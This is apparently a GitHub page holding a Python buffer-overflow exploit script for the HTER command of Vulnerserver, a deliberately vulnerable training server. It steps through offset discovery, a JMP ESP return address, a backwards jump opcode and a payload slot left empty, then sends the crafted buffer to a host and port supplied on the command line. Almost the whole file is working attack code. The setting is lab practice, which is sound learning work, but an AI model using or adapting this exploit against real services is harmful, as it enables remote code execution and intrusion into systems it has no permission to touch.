-
-
Notifications
You must be signed in to change notification settings - Fork 5
/
Copy pathvulnerserver_hter.py
88 lines (73 loc) · 1.52 KB
/
vulnerserver_hter.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#!/usr/bin/python
import socket
import os
import sys
from struct import pack
import time
host = sys.argv[1]
port = int(sys.argv[2])
def send_msg(buffer):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print (s.recv(1024))
s.send(buffer)
print (s.recv(1024))
s.close()
# 2 - Offsets
buffer = b"HTER "
buffer += b"A"*2000
buffer += b"B"*100
buffer += b"C"*100
buffer += b"D"*100
buffer += b"E"*100
buffer += b"F"*100
buffer += b"G"*100
buffer += b"H"*100
buffer += b"I"*100
buffer += b"J"*100
buffer += b"K"*100
buffer = b"HTER "
buffer += b"A"*2000
buffer += b"B"*10
buffer += b"C"*10
buffer += b"D"*10
buffer += b"E"*10
buffer += b"F"*10
buffer += b"G"*10
buffer += b"H"*10
buffer += b"I"*10
buffer += b"J"*10
buffer += b"K"*10
buffer += b"A"*1000
buffer = b"HTER "
buffer += b"A"*2000
buffer += b"A"*40
buffer += b"BCDEFGHIJK"
buffer += b"A"*50
buffer += b"A"*1000
buffer = b"HTER "
buffer += b"A"*2041
buffer += b"CDEFCDEF"
buffer += b"B"*1051
# 3 - Jmp ESP
buffer = b"HTER "
buffer += b"A"*2041
# jmp_esp = pack("<i", 0x62501203)
buffer += b"03125062" # bp 0x62501203; g
buffer += b"B"*1051
# 4 - Jump backwards
buffer = b"HTER "
buffer += b"A"*2041
buffer += b"03125062" # bp 0x62501203; g
buffer += b"e9fbfbffff"
buffer += b"B"*1051
# 5 - Payload
payload = b"090909090"
payload += b"" # ADD PAYLOAD but delete all '\x'
buffer = b"HTER "
buffer += payload
buffer += b"A"*(2041-len(payload))
buffer += b"03125062" # bp 0x62501203; g
buffer += b"e9fbfbffff"
buffer += b"B"*1051
send_msg(buffer)